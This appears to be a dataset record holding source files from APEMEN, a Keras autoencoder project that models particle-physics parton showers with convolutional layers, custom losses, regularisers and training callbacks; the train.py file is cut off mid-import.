repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
โŒ€
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
twoev/APEMEN
https://github.com/twoev/APEMEN
286869535d2c2c734db8d9d3ee6e7a7b6d701e90
4b15f4e18767172ebc820e0b3accd337f2665d4a
d29be52189c3066d25c8081fdf9d05c931eb0b6f
refs/heads/master
2020-03-13T14:52:09.689512
2018-10-05T15:29:55
2018-10-05T15:29:55
131,166,752
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7232496738433838, "alphanum_fraction": 0.7344781756401062, "avg_line_length": 34.1860466003418, "blob_id": "4a69dc985ddd6060e338721c0899976fae3999f0", "content_id": "cd30aebd1e7e9ab3f505a74ba78e3baeda3ac249", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1514, "license_type": "no_license", "max_line_length": 146, "num_lines": 43, "path": "/bin/evaluate.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport importlib, os,sys\nimport numpy as np\nimport argparse\nfrom keras.callbacks import ModelCheckpoint\n\nimport utils.loadData\nimport utils.model as modelBuilder\n\nparser = argparse.ArgumentParser(description=\"Evaluate trained NN on input data\")\nparser.add_argument('--inputFiles', '-i', type=str, nargs='*', default=[\"input.memmap\"])\nparser.add_argument('--nEvents', '-n', type=int, default=-1)\nparser.add_argument('--output', '-o', type=str, default=\"testRun\")\nparser.add_argument('--randomSeed', '-r', type=int, default=100217)\nparser.add_argument('--weights', '-w', type=str, default='testRun')\nparser.add_argument('--pixels', '-p', type=int, default=64)\nparser.add_argument('--convolutions', '-c', type=int, default=9)\nparser.add_argument('--kernel', '-k', type=int, default=2)\n\n\nargs = parser.parse_args()\n\ntry:\n from ROOT import TFile, ROOT, gROOT, TGraph, TH1F\nexcept:\n sys.stderr.write(\"\\nCould not find the ROOT python modules.\")\n raise\n\nnp.random.seed(args.randomSeed)\n\nmodel = modelBuilder.buildModel(nPixels=args.pixels, lr=2.e-5, kernel_regularisation=50., kernelSize=args.kernel, nConvolutions=args.convolutions)\n\nprint \"loading weights from \" + args.weights\nmodel.load_weights(args.weights)\n\ninput = utils.loadData.loadData(args.inputFiles, args.nEvents, nPixels=args.pixels, normalise=False)\n\nprediction = model.predict(input).squeeze(axis=3)\n\noutput = np.memmap(args.output, mode=\"w+\", shape=prediction.shape, dtype=float)\noutput[:] = prediction[:]\noutput.flush()\n\n" }, { "alpha_fraction": 0.5065022706985474, "alphanum_fraction": 0.523766815662384, "avg_line_length": 24.872093200683594, "blob_id": "97e15e8777d898fd888c604233061b40fda30a94", "content_id": "cb8c9287f1f7c3261a0af8b8f1e372983c05ba24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4460, "license_type": "no_license", "max_line_length": 110, "num_lines": 172, "path": "/utils/loadData.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom scipy.sparse import lil_matrix\nimport keras\n\n\ndef loadData(fileNames, nEvents=-1, nPixels=64, normalise=True):\n\n if len(fileNames) == 0:\n return None\n\n data = np.zeros((0, nPixels, nPixels))\n\n for file in fileNames:\n mm=np.memmap(file, mode=\"r\", dtype=float)\n mm.resize((len(mm)/(nPixels*nPixels), nPixels, nPixels))\n data = np.append(data, mm, axis=0)\n\n if nEvents > 0 and len(data) >= nEvents:\n break\n\n if nEvents > 0 and nEvents < len(data):\n data = data[:nEvents, :, :]\n\n if normalise:\n esum = np.sum(data, axis=(1,2), keepdims=True)\n data = data / esum\n data = float(nPixels*nPixels)*data\n \n data = np.expand_dims(data, axis=3)\n\n return data\n \ndef makeArray(fileNames, nEvents=-1, nPixels=64, normalise=True):\n\n if len(fileNames) == 0:\n return None\n\n txt = []\n maxEvents = 0\n for f in fileNames:\n file=open(f, \"r\")\n txt.append(file.readlines())\n for line in txt[-1]:\n if line == \"======\\n\":\n maxEvents +=1\n\n if nEvents > 0 and maxEvents >= nEvents:\n break\n\n if nEvents > 0 and maxEvents >= nEvents:\n break\n\n if nEvents > maxEvents or nEvents < 0:\n nEvents = maxEvents\n\n data = np.zeros((nEvents, nPixels, nPixels))\n\n count = -1\n for t in txt:\n if count == nEvents:\n break\n \n for line in t:\n if line == \"======\\n\":\n count +=1\n continue\n\n if count == nEvents:\n break\n\n vals=line.split()\n if len(vals) == 1:\n continue\n\n if vals[0] == \"1\" or vals[1] == \"1\":\n continue\n\n ybin = int(nPixels * float(vals[0]))\n phibin = int(nPixels * float(vals[1]))\n pT = float(vals[2])\n data[count, ybin, phibin] += pT\n\n if normalise:\n esum = np.sum(data, axis=(1,2), keepdims=True)\n data = data / esum\n data = float(nPixels*nPixels)*data\n\n data = np.expand_dims(data, axis=3)\n\n return data\n\nclass generate_events(keras.utils.Sequence):\n\n def __init__(self, filenames, batch_size=256, nPixels=64, nEvents=-1, normalise=True, predict_mode=False):\n\n self.predict_mode=predict_mode\n\n self.events = []\n self.weights=[]\n printCounter=100\n for n in filenames:\n \n if len(self.events) == nEvents:\n break\n \n file = open(n, \"r\")\n txt = file.readlines()\n for line in txt:\n\n if line == \"======\\n\":\n \n if len(self.events)%printCounter == 0:\n print \"loaded \" + str(len(self.events)) + \" events\"\n if printCounter != 100000 and len(self.events) == 10*printCounter:\n printCounter *=10\n \n if normalise and len(self.events) != 0:\n self.events[-1] /= self.events[-1].sum()\n self.events[-1] *= float(nPixels *nPixels)\n \n if len(self.events) == nEvents:\n break\n self.events.append(lil_matrix((nPixels, nPixels), dtype='float32'))\n continue\n\n vals=line.split()\n \n if len(vals) == 1:\n \n if predict_mode:\n self.weights.append(float(vals[0]))\n \n continue\n \n if vals[0] == \"1\" or vals[1] ==\"1\":\n continue\n \n ybin = int(nPixels * float(vals[0]))\n phibin = int(nPixels * float(vals[1]))\n self.events[-1][ybin, phibin] += float(vals[2])\n\n\n nEvents = len(self.events)\n self.nBatches = int(nEvents / batch_size)\n self.nEvents = self.nBatches * batch_size\n \n while len(self.events) != self.nEvents:\n del self.events[-1]\n if predict_mode:\n del self.weights[-1]\n\n self.batch_size=batch_size\n self.nPixels=nPixels\n\n \n def __len__(self):\n return self.nBatches\n\n def getWeights(self, index):\n return self.weights[index*self.batch_size: (index+1)*self.batch_size]\n\n def __getitem__(self, index):\n dense_data=[]\n for d in self.events[index*self.batch_size:(index+1)*self.batch_size]:\n dense_data.append(np.expand_dims(d.todense(), axis=0))\n\n x = np.expand_dims(np.concatenate(dense_data, axis=0), axis=3)\n \n if self.predict_mode:\n return x\n \n return x, x\n\n \n" }, { "alpha_fraction": 0.698451042175293, "alphanum_fraction": 0.7099616527557373, "avg_line_length": 46.09395980834961, "blob_id": "c6d1cb4583929f90cc61cc2ab6dd592ee9ae01da", "content_id": "9b9aa191340e3986fe205bdfceabd24765f00b05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7037, "license_type": "no_license", "max_line_length": 180, "num_lines": 149, "path": "/utils/layers.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import keras\nfrom keras import backend as K\nfrom keras import regularizers\nfrom keras.engine.topology import Layer\nimport numpy as np\n\n\n# On each stage of the deconvolution we should only use the output from a single filter for each pixel.\n# The different pixels can use different filter output.\n# This means we must mask the filter output based on which filter was\n# used during the equivalent convolution step\n#\n# If this model were being used to generate showering randomly, then a random filter could be used, but using a\n# random filter during training means that the input and output stages are likely to be different.\n# The mask here ensures that the same filter is used during convolution and deconvolution\n\nclass FilterMask(Layer):\n \n def __init__(self, kernel_regularizer=None, **kwargs):\n self.uses_learning_phase = True\n super(FilterMask, self).__init__(**kwargs)\n self.kernel_regularizer = regularizers.get(kernel_regularizer)\n \n def build(self, input_shape):\n self.filterProbs = self.add_weight((1, 1, 1, input_shape[3],), initializer='one', name='{}_filterProbs'.format(self.name), trainable=False, regularizer=self.kernel_regularizer)\n super(FilterMask, self).build(input_shape)\n \n def compute_output_shape(self, input_shape):\n return input_shape\n \n def call(self, x):\n \n absx = K.abs(x)\n \n max = K.max(absx, axis=3, keepdims=True)\n output = absx - max + K.epsilon()\n output = 0.5*K.sign(output) + 0.5\n \n # The number of active splittings. Should be exactly one for a true splitting\n nActive = K.sum(output, axis=3, keepdims=True)\n # This mask is 1 if there are 1 or 0 active splittings, 0 otherwise\n activeMask = 0.5*(K.sign(1. - nActive + K.epsilon())) + 0.5\n \n # This is 1 if there is exactly 1 active filter, 0 otherwise\n active = output * activeMask\n \n #This is now the number of times each filter has been active\n activeCounter = K.sum(active, axis=(0,1,2), keepdims=True)\n # normalise to probability\n activeCounter = activeCounter / K.sum(activeCounter)\n \n self.add_update([K.moving_average_update(self.filterProbs, activeCounter, 0.9)], x)\n \n output = output * K.random_uniform(shape=K.shape(output), minval=0., maxval=1.)*self.filterProbs\n \n max = K.max(output, axis=3, keepdims=True)\n output = output - max + K.epsilon()\n output = 0.5*K.sign(output) + 0.5\n \n return output\n\nclass MergeDeconvolution(Layer):\n \n def __init__(self, **kwargs):\n super(MergeDeconvolution, self).__init__(**kwargs)\n \n def build(self, input_shape):\n super(MergeDeconvolution, self).build(input_shape)\n \n def compute_output_shape(self, input_shape):\n return (input_shape[0], input_shape[1], input_shape[2], 1)\n \n def call(self, x):\n return K.sum(x, axis=3, keepdims=True)\n\n\n# This layer should be used at evaluation time to merge a matrix element calculation with the CNN shower model\n# The call method takes two images of the same size. One is the input to the conv2d layer in the compression side \n# of the autoencoder. The other image is the output of the conv2dtranspose layer on the deconvolution side of the\n# autoencoder. By comparing them, we can test which new emissions have been added by the CNN and veto them according \n# to some (angular dependent) cutoff scale\nclass MergeShower(Layer):\n\n\n # The merge layer takes a cutoff scale and a kernel size used in the model\n # Note the cutoff scale should be set with care according to the depth in the network. \n # At the network bottleneck the cutoff should match the matrix element cutoff.\n # The cutoff evolves away from the bottleneck\n def __init__(self, cutoff=20., kernelSize=2, **kwargs):\n self.kernelSize = kernelSize\n self.cutoff=cutoff\n # This kernel is used for summing the number of emissions in each window the same size as the shower kernel\n self.window = K.variable(np.ones((kernelSize, kernelSize, 1, 1)))\n \n super(MergeShower, self).__init__(**kwargs)\n\n def compute_output_shape(self, input_shape):\n if len(input_shape) != 2:\n raise RuntimeError(\"MergeShower layer requries two input images to merge\")\n\n if input_shape[0] != input_shape[1]:\n raise RuntimeError(\"MergeShower layer requries two equal sized images to merge\")\n\n return input_shape[0]\n\n# return image where all pixels below the cutoff are set to zero\n def aboveCutoff(self, image):\n image = image - self.cutoff\n active = 0.5*(K.sign(image) + 1.)\n return 0.5*(image + K.abs(image)) + self.cutoff*active\n\n def call(self, input):\n # This is the part of the pre-shower image that is above the cutoff\n me = self.aboveCutoff(input[0])\n # This is the part of the post-shower image that is above the cutoff\n showered = self.aboveCutoff(input[1])\n # This is the soft part of the post-shower image.\n soft = input[1] - showered\n\n # This is one in each pixel where the shower has a hard emission\n # Note this would go wrong if an unfeasibly low merging scale of 1 GeV or less were used (in which case \n # simply lower the value of the 1. used inside the K.sign function)\n showerMask = 0.5*(K.sign(showered - 1.) + 1.)\n # And this is one where the pre-shower has a hard emission\n meMask = 0.5*(K.sign(me - 1.) + 1.)\n\n # These count the number of hard emissions from the pre- and post-shower images in each window\n nShower = K.conv2d(showerMask, self.window, strides=(self.kernelSize, self.kernelSize), data_format=\"channels_last\")\n nME = K.conv2d(meMask, self.window, strides=(self.kernelSize, self.kernelSize), data_format=\"channels_last\")\n\n # So this is one if the window does not contain a new emission, zero if it does\n emissionAllowed = K.resize_images( (0.5*(K.sign(nME - nShower + 0.5) + 1.)),height_factor=self.kernelSize, width_factor=self.kernelSize, data_format=\"channels_last\")\n emissionForbidden = 1. - emissionAllowed\n\n # And these then are allowed emissions from the shower because they have not added a new hard emission\n shower_allowed = showered * emissionAllowed\n \n showerSum = K.conv2d(showered, self.window, strides=(self.kernelSize, self.kernelSize), data_format=\"channels_last\")\n outputSum = K.conv2d(input[1], self.window, strides=(self.kernelSize, self.kernelSize), data_format=\"channels_last\")\n \n # This ratio is a correction factor that is the total hard shower emissions in each window divided by the total emissions in each window\n ratio = K.resize_images((showerSum / (outputSum + 1.e-5)), height_factor=self.kernelSize, width_factor=self.kernelSize, data_format=\"channels_last\")\n \n # Find the ME contributions in the veto regions\n meInVeto = me * emissionForbidden\n \n # the result should be the shower in the allowed regions, the soft part of the shower (below the cutoff) plus the original \n # pre-shower component in the shower-forbidden regions, modified by a scaling factor to account for any allowed soft emissions\n return shower_allowed + soft + meInVeto*ratio\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5939363837242126, "alphanum_fraction": 0.6103379726409912, "avg_line_length": 25.090909957885742, "blob_id": "607b6d2358cc5193aaaab881664e6a74e68d48c0", "content_id": "4f386474d1ace67176c2d49eb6d4b1f83a69dfb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2012, "license_type": "no_license", "max_line_length": 69, "num_lines": 77, "path": "/utils/callbacks.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import keras\nfrom keras import backend as K\nfrom keras.callbacks import Callback\n\nimport numpy as np\n\nclass BitsLogger(Callback):\n\n def __init__(self, nConvs=9, **kwargs):\n self.norm = 1./np.log(float(nConvs))\n self.bits_history=[]\n self.filterLayers=[]\n super(BitsLogger, self).__init__(**kwargs)\n\n\n def on_train_begin(self, logs):\n layers = self.model.layers\n for l in layers:\n if l.name == 'model_1':\n layers=l.layers\n\n for l in layers:\n if \"filter_mask\" in l.name:\n self.filterLayers.append(l)\n \n def on_epoch_end(self, epoch, logs={}):\n\n bitsum=0.\n for l in self.filterLayers:\n weights=K.flatten(l.filterProbs)\n b=-self.norm*K.sum(weights*K.log(weights))\n bitsum += b\n\n print(' Activation bits: ' + str(K.eval(bitsum)))\n logs['activation_bits'] = K.eval(bitsum)\n self.bits_history.append(K.eval(bitsum))\n\nclass EntropyLogger(Callback):\n\n def __init__(self, **kwargs):\n\n self.entropy_history=[]\n self.filterLayers=[]\n self.constant = 0.5*np.log(2*np.pi) + 0.5\n self.hmin=0.\n self.hmax=0.\n self.norm=1.\n super(EntropyLogger, self).__init__(**kwargs)\n\n def on_train_begin(self, logs):\n layers = self.model.layers\n for l in layers:\n if l.name == 'model_1':\n layers=l.layers\n \n for l in layers:\n if \"filter_mask\" in l.name:\n self.filterLayers.append(l)\n\n nFilters = K.eval(K.shape(self.filterLayers[-1].filterProbs)[-1])\n\n r=np.random.uniform(size=(1000000, nFilters))\n sigma = np.std(r, axis=1)\n self.hmin = 1.05 * np.log(np.amin(sigma, axis=0))\n self.hmax = 0.95 * np.log(np.amax(sigma, axis=0))\n self.norm = 1. / (self.hmax - self.hmin)\n\n def on_epoch_end(self, epoch, logs={}):\n\n s=0.\n for l in self.filterLayers:\n weights = K.flatten(l.filterProbs)\n s += self.norm*(K.log(K.std(weights)) - self.hmin)\n\n print(' entropy: ' + str(K.eval(s)) )\n logs['entropy'] = K.eval(s)\n self.entropy_history.append(K.eval(s))\n\n\n\n" }, { "alpha_fraction": 0.6960690021514893, "alphanum_fraction": 0.7110897898674011, "avg_line_length": 29.330097198486328, "blob_id": "5bbb5ed5b65011114628b01525fe73e5b9d380f5", "content_id": "e57e58da4de7b933288435900ff89f14134aed3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3129, "license_type": "no_license", "max_line_length": 207, "num_lines": 103, "path": "/utils/model.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import math\nimport keras\nimport numpy as np\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.layers import Input, Conv2D, MaxPooling2D, Conv2DTranspose, Dropout\nfrom keras.optimizers import Nadam, SGD\nfrom keras.utils import multi_gpu_model\n\nimport tensorflow as tf\n\nimport utils.regularisers\nimport utils.losses\nimport utils.layers\nimport utils.optimisers\n\ndef applyConvolutions(events, convolutions):\n \n outputs = []\n for c in convolutions:\n filtered = c(events)\n outputs.append(filtered)\n \n maxOutput = keras.layers.maximum(outputs)\n maskInput = keras.layers.concatenate(outputs, axis=3)\n maskOutput = utils.layers.FilterMask()(maskInput)\n\n return maxOutput, maskOutput\n\ndef applyDeconvolutions(events, deconvolutions, mask):\n \n applied = []\n \n for d in deconvolutions:\n applied.append(d(events))\n \n events = keras.layers.concatenate(applied, axis=3)\n events = keras.layers.multiply([events, mask])\n events = utils.layers.MergeDeconvolution()(events)\n\n return events\n\ndef buildModel(nPixels=64, kernelSize=2, nConvolutions=9, lr=5.e-5, lossWeights=[100,10,1], kernel_regularisation=100., nGPUs=2, merge_shower=False):\n\n nLevels = math.log(nPixels, kernelSize) - 1\n\n m=nLevels%1\n if m > 1.e-5 and m < 1.-1.e-5:\n raise RuntimeError(\"The pixel array size, N, does not have the kernel size, k, as radix. Require N=k^n, have N=\" + str(nPixels) + \", k=\" + str(kernelSize))\n\n nLevels = int(nLevels + 1.e-5)\n \n input = Input(shape=(nPixels, nPixels, 1, ))\n\n conv=[]\n deconv = []\n\n for i in range(nConvolutions):\n conv.append(Conv2D(filters=1, kernel_size=kernelSize, padding='same', kernel_initializer='glorot_normal', use_bias=False, kernel_regularizer=utils.regularisers.energyConservation(kernel_regularisation)))\n deconv.append(Conv2DTranspose(filters=1, kernel_size=kernelSize, strides=kernelSize, padding='same', kernel_initializer='glorot_normal', use_bias=False))\n\n shrink = MaxPooling2D(pool_size=kernelSize)\n\n if merge_shower:\n showerMerge = []\n angularScale=np.pi / float(kernelSize)\n cutoff0 = 20.\n for i in range(nLevels):\n cutoff = cutoff0 / (1. - np.cos(angularScale))\n showerMerge.append(utils.layers.MergeShower(kernelSize=kernelSize, cutoff=cutoff))\n angularScale = angularScale / (float(kernelSize))\n preShower = []\n\n filterMasks = []\n events = input\n\n for i in range(nLevels):\n if merge_shower:\n preShower.append(events)\n events, mask = applyConvolutions(events, conv)\n events = shrink(events)\n filterMasks.append(mask)\n\n for i in range(nLevels):\n events = applyDeconvolutions(events, deconv, filterMasks[-1-i])\n if merge_shower:\n events = showerMerge[i]([preShower[-i-1], events])\n\n\n if nGPUs > 0:\n with tf.device('/cpu:0'):\n cpumodel = Model(inputs=input, outputs=events)\n model = multi_gpu_model(cpumodel, gpus=nGPUs)\n else:\n model = Model(inputs=input, outputs=events)\n\n\n model.compile(loss=[utils.losses.activeLoss(lossWeights)], optimizer=Nadam(lr=lr))\n if nGPUs > 0:\n model.get_layer('model_1').summary()\n else:\n model.summary()\n return model\n\n\n\n\n\n" }, { "alpha_fraction": 0.6234967708587646, "alphanum_fraction": 0.6271970272064209, "avg_line_length": 31.696969985961914, "blob_id": "641955ee53fc53c7fa918f20db8d5a779dfa932a", "content_id": "d4a8bf96a8d6751e26ce72db70c56a73c41d3565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 73, "num_lines": 33, "path": "/utils/optimisers.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "from keras.optimizers import Nadam, Optimizer\nfrom keras import backend as K\n\nclass Nadam_entropy(Nadam):\n\n def __init__(self, temperature=0.1, **kwargs):\n self.temperature = temperature\n super(Nadam_entropy, self).__init__(**kwargs)\n\n def get_gradients(self, loss, params):\n grads = K.gradients(loss, params)\n\n probs = grads\n for i in range(len(params)):\n grads[i] /= params[i] + K.epsilon()\n \n #probs = grads / (params + K.epsilon())\n probs = K.abs(probs)\n probs /= K.sum(K.flatten(probs)) + K.epsilon()\n Ts = -self.temperature*K.sum(K.flatten(probs * K.log(probs)))\n delta_s = K.gradients(Ts, params)\n\n for i in range(len(grads)):\n grads[i] = grads[i] + delta_s[i]\n\n# grads = grads + delta_s\n\n if hasattr(self, 'clipnorm') and self.clipnorm > 0:\n norm = K.sqrt(sum([K.sum(K.square(g)) for g in grads]))\n grads = [clip_norm(g, self.clipnorm, norm) for g in grads]\n if hasattr(self, 'clipvalue') and self.clipvalue > 0:\n grads = [K.clip(g, -self.clipvalue, self.clipvalue) for g in grads]\n return grads\n\n\n" }, { "alpha_fraction": 0.6824802160263062, "alphanum_fraction": 0.6987099647521973, "avg_line_length": 37.709678649902344, "blob_id": "899197cc6c89327eafe2a5900f4cc92208723b0e", "content_id": "df66645fac0723075b786775af635e75164370c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2403, "license_type": "no_license", "max_line_length": 122, "num_lines": 62, "path": "/utils/losses.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import keras\nimport numpy as np\nfrom keras import backend as K\n\ndef gaussKernel(width):\n\n sigma = 0.5*float(width)\n x = np.arange(width) + 0.5\n x = x / sigma - 1.\n x = np.exp(-0.5*x*x)\n \n k=np.outer(x,x)\n norm = np.sum(k)\n return K.variable(np.expand_dims(np.expand_dims(k/norm, axis=2), axis=3))\n\n# The input pixel arrays are sparse, with only a few % of pixels occupied.\n# Standard MSE loss averages the MSE over all pixels, which causes the NN to\n# learn mostly about the inactive pixels\n# With this active loss, we treat the unoccupied target pixels as a single large pixel\n# The target is used to define a mask, and the MSE between the target and prediction is\n# computed only for those pixels that are not masked out.\n# The sum of pixels outside the masked area is computed for the prediction and added to the loss.\n# This means that any predicted activity outside target active pixels is treated the same,\n# but a single large emission is treated equally to a large number of small emissions whose energy\n# is equal to the larger emission.\n# To avoid aliasing effects caused by emissions in the target and prediction in neighbouring pixels,\n# we also allow both the target and prediction to be smeared by a n X n Gaussian kernel.\n# This lowers the loss when the predicted emission is near a target emission.\n# The loss is a weighted sum over different smear radii, and the weights can be specified.\n# By changing the weights, the loss becomes more or less sensitive to wide angle effects\n\ndef activeLoss(weights):\n\n weights = np.array(weights, dtype=float) / np.sum(weights)\n kernels = []\n for i in range(1, len(weights)+1):\n kernels.append(gaussKernel(i))\n\n def loss(target, prediction):\n\n sum = 0.\n weightSum = 0.\n\n for i in range(len(weights)):\n\n x = K.conv2d(target, kernels[i], strides=(1,1), padding='same', data_format=\"channels_last\")\n y = K.conv2d(prediction, kernels[i], strides=(1,1), padding='same', data_format=\"channels_last\")\n\n active = 0.5*K.sign(x - 10.*K.epsilon()) + 0.5\n inactive = 1. - active\n\n nActive = K.sum(active, axis=(1,2)) + K.epsilon()\n nInactive = 64.*64.-nActive\n\n w = K.sum(K.square(x - active*y), axis=(1,2)) / nActive + K.square(K.sum(inactive*K.abs(y), axis=(1,2))) / nInactive\n\n sum += weights[i]*K.mean(0.5*w, axis=0)\n weightSum += weights[i]\n\n return sum / weightSum\n\n return loss\n\n\n\n" }, { "alpha_fraction": 0.7514889240264893, "alphanum_fraction": 0.7558202743530273, "avg_line_length": 39.9555549621582, "blob_id": "4720e7bba3092d87f3c759d66d0925c02f33a05a", "content_id": "7b0e17d11bf126bd0304c311f97a33cbf1f6e4b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1847, "license_type": "no_license", "max_line_length": 104, "num_lines": 45, "path": "/utils/regularisers.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "import keras\nfrom keras import backend as K\nimport numpy as np\n\n# This func can be passed to a conv2d layer to try to encourage energy conservation,\n# i.e. that the sum of all weights in the kernel is one\n# The multiplier determines how large a penalty is applied for kernels that deviate from 1\ndef energyConservation(multiplier):\n\n def regulariser(weight_matrix):\n diff = 1. - K.sum(weight_matrix)\n return K.in_train_phase(multiplier * K.square(diff), 0.)\n\n return regulariser\n\ndef uniformProbabilities(multiplier, nConvs):\n\n def regulariser(weight_matrix):\n return multiplier*K.sum(K.square(weight_matrix - 1./nConvs))/nConvs\n\n return regulariser\n\n# The network weights undergo something akin to a phase transition during training\n# The network changes from a chaotic state to a much more ordered state in the space\n# of a few training epochs. Class IV cellular automata occur around such phase transitions\n# The weights of the FilterMask layer represent the probability with which a given kernel\n# is active in the shower. The information content in these sets of probabilities is given\n# by the Shannon entropy, s=-\\sum pln_n(p), where the base of the logarithm is number of probabilities.\n# s=0 corresponds to a perfectly ordered state, s=1 is chaotic. Higher n tends towards higher s.\n#\n# During training, the NN will tend to transition to a lower entropy state.\n# By adding a regularisation term that is -s, we make the phase transition to the ordered state\n# harder, and try to keep the system near the phase transition.\n# In some ways, this is like trying to create a supercooled fluid\n\n\ndef maximiseEntropy(multiplier, nConvs):\n\n norm = 1. / np.log(float(nConvs))\n\n def regulariser(weight_matrix):\n s = norm * K.sum(weight_matrix*K.log(weight_matrix))\n return multiplier * s\n\n return regulariser\n\n\n\n\n" }, { "alpha_fraction": 0.7609561681747437, "alphanum_fraction": 0.7788844704627991, "avg_line_length": 34.64285659790039, "blob_id": "e904aef6dfd679732ea7ea9ec364bfb70410df82", "content_id": "6de2d63bdcb8f87f0483bb347adb4026a6141a49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 502, "license_type": "no_license", "max_line_length": 212, "num_lines": 14, "path": "/README.md", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "# APEMEN\nAutoencoding Parton Emitting Model Encoded in Networks\n\nAuthor: James Monk\n\nThis needs Keras, numpy, scipy. If you want to run on (multi) GPU, you need TensorFlow and (duh) a Nvidia GPU.\n\nThe model design ensures self-similarity and adds randomness via the FilterMask layer that is in utils/layers. The preprint of the paper explaining the network is available here: https://arxiv.org/abs/1807.03685\n\nCreate the model by\n\nimport utils.model as modelBuilder\n\nmodel = modelBuilder.buildModel()\n\n\n\n" }, { "alpha_fraction": 0.6412747502326965, "alphanum_fraction": 0.665759801864624, "avg_line_length": 29.630952835083008, "blob_id": "421511a0d57fbc65cfc659b4ab6ec64a5c98835b", "content_id": "923e1564c52365ae5b1b8862e3c8e4c43e4a28df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2573, "license_type": "no_license", "max_line_length": 118, "num_lines": 84, "path": "/bin/visualise.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport importlib, os,sys\nimport numpy as np\nimport argparse\nimport h5py\nfrom keras import backend as K\nimport utils.model as modelBuilder\n\nparser = argparse.ArgumentParser(description=\"Dump model params\")\nparser.add_argument('--weights', '-w', type=str, default='')\nparser.add_argument('--pixels', '-p', type=int, default=64)\nparser.add_argument('--convolutions', '-c', type=int, default=9)\nparser.add_argument('--kernel', '-k', type=int, default=2)\nparser.add_argument('--filter', '-f', type=int, default=1)\nparser.add_argument('--output', '-o', type=str, default=\"testRun.memmap\")\n\nargs = parser.parse_args()\n\nmodel = modelBuilder.buildModel(nPixels=args.pixels, kernelSize=args.kernel, nConvolutions=args.convolutions, nGPUs=0)\n#model.load_weights(args.weights)\n\nweightFile = h5py.File(args.weights, 'r')\n\n#kernel = model.get_layer(\"conv2d_\" + str(args.filter)).get_weights()\n\nfilterProbs = np.array(weightFile['model_1']['filter_mask_1']['filter_mask_1_filterProbs:0'][0,0,0,:])\n\norder = np.argsort(filterProbs)\n\nprint order\n\nfilterNumber = order[-args.filter]+1\n\nkernel = [weightFile['model_1']['conv2d_' + str(filterNumber)][\"kernel:0\"]]\n\nfor i in range(1, args.convolutions+1):\n model.get_layer(\"conv2d_\" + str(i)).set_weights(kernel)\n\n#kernel = model.get_layer(\"conv2d_transpose_\" + str(args.filter)).get_weights()\nkernel = [weightFile['model_1']['conv2d_transpose_' + str(filterNumber)][\"kernel:0\"]]\n\nfor i in range(1, args.convolutions+1):\n model.get_layer(\"conv2d_transpose_\" + str(i)).set_weights(kernel)\n\noutput_img=[]\n\nnRuns=100\n\nfor j in range(nRuns):\n print \"run \" + str(j)\n\n input_img = np.random.random((1, args.pixels, args.pixels, 1))\n output_img.append(input_img[:])\n\n for i in range(20):\n img = model.predict(output_img[-1])\n npanel = args.pixels / args.kernel\n panel = np.zeros((1, npanel, npanel, 1))\n for k in range(3):\n for l in range(3):\n panel = panel + img[:, k*npanel:(k+1)*npanel, l*npanel:(l+1)*npanel, :]\n \n output_img[-1] = np.zeros((1, args.pixels, args.pixels, 1))\n for k in range(3):\n for l in range(3):\n output_img[-1][:, k*npanel:(k+1)*npanel, l*npanel:(l+1)*npanel, :] = panel[:]\n \n output_img[-1] = 0.5*(output_img[-1] + np.abs(output_img[-1]))\n max=np.amax(output_img[-1])\n output_img[-1] = output_img[-1] / max\n\noutput = np.memmap(args.output, mode=\"w+\", shape=output_img[0].shape, dtype=float)\n\noutput[:] = output_img[0][:]\n\nfor j in range(1, nRuns):\n\n output += output_img[j] / float(nRuns)\n\nmax = np.amax(output)\noutput /= max\n\noutput.flush()\n" }, { "alpha_fraction": 0.6849911212921143, "alphanum_fraction": 0.6960648894309998, "avg_line_length": 33.86206817626953, "blob_id": "06c4f1be8d6506110e466fc1386071aea2ab3adc", "content_id": "84dddefc2ecf0f52e4d6afcf345ccc9e7680343a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5057, "license_type": "no_license", "max_line_length": 183, "num_lines": 145, "path": "/bin/train.py", "repo_name": "twoev/APEMEN", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport importlib, os,sys\nimport numpy as np\nimport argparse\nimport math\nfrom keras.callbacks import 